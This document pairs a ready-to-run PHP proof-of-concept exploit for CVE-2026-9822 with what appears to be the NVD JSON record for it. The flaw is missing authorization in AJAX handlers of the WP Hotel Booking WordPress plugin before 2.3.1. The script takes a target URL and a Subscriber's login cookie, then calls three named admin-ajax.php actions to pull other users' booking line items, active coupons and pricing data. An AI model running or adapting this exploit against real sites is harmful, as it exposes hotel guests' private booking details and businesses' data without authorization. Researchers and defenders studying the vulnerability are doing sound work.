CVE-2026-9822

<?php /** * PoC for CVE-2026-9822 - WP Hotel Booking Missing Capability Checks * Exploits missing authorization in AJAX handlers to read booking data, * enumerate coupons, and read pricing information as a Subscriber. * * Usage: php poc.php <target_url> <cookie> * Example: php poc.php https://victim.com "wordpress_logged_in=xxxxx" */ $target = $argv[1] ?? 'https://victim.com'; $cookie = $argv[2] ?? ''; if (empty($cookie)) { die("Usage: php poc.php <target_url> <wordpress_logged_in_cookie>\n"); } // AJAX actions that lack capability checks in WP Hotel Booking < 2.3.1 $actions = [ 'wphb_get_booking_line_items' => 'Read other users booking line items', 'wphb_list_active_coupons' => 'Enumerate active coupons', 'wphb_get_pricing_data' => 'Read pricing data', ]; foreach ($actions as $action => $desc) { echo "[+] Exploiting action: {$action} ({$desc})\n"; $ch = curl_init("{$target}/wp-admin/admin-ajax.php"); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query([ 'action' => $action, // Additional parameters may be required depending on handler 'booking_id' => '1', 'nonce' => '', ]), CURLOPT_HTTPHEADER => [ "Cookie: {$cookie}", 'X-Requested-With: XMLHttpRequest', ], ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo " HTTP Status: {$httpCode}\n"; echo " Response: " . substr($response, 0, 500) . "\n\n"; } echo "[!] If responses contain booking/coupon/pricing data, the target is vulnerable.\n";

{"cve": {"id": "CVE-2026-9822", "sourceIdentifier": "[email protected]", "published": "2026-06-19T06:17:11.153", "lastModified": "2026-06-22T18:38:02.507", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Hotel Booking WordPress plugin before 2.3.1 does not enforce capability checks in several of its AJAX handlers, allowing authenticated users with Subscriber-level access to read other users' booking line items, enumerate active coupons, and read pricing data."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "WP Hotel Booking", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "2.3.1", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-22T16:15:27.197348Z", "id": "CVE-2026-9822", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/107fe41a-c5d9-4547-b413-bbd77cbab986/", "source": "[email protected]"}]}}